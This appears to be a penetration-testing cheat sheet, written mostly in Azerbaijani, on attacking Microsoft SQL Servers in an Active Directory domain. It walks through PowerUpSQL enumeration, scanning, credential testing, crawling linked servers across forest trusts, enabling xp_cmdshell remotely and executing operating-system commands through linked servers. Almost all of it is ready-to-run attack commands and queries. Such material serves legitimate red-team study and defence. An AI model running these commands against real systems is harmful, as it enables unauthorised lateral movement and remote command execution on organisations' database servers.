# Abuse MSSQL Servers

## **MSSQL Enumeration**&#x20;

**MSSQL enum üçün daha çox** [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) daha faydalıdı.

```powershell
Import-Module .\PowerupSQL.psd1
```

**Domen olmadan şəbəkədən enum:**

```powershell
#Yerli MSSQL nümunəsini əldə edin (əgər varsa)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#AD hesabınız yoxdursa, UDP vasitəsilə MSSQL skanını tapmağa cəhd edə bilərsiniz
#Əvvəlcə, skan etmək üçün hostların siyahısına ehtiyacınız olacaq
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```

Domein daxilində enum:

```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```

Verilənlər bazası bağlantısı SQL Serverə digər SQL Server kimi digər resurslara daxil olmaq imkanı verir. Əgər bizim iki əlaqəli SQL Serverimiz varsa, biz onlarda saxlanılan prosedurları yerinə yetirə bilərik. Verilənlər bazası bağlantıları Forest Trust-da da işləyir!

**Mövcud verilənlər bazası bağlantılarını yoxlayın:**

```powershell
#Mövcud verilənlər bazası bağlantılarını yoxlayın:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers
```

**Sonra əlaqəli verilənlər bazasından digər bağlantıları sadalamaq üçün sorğulardan istifadə edə bilərik:**

```powershell
#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"o
```

**Sorğunun icrası:**

```powershell
Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"
```
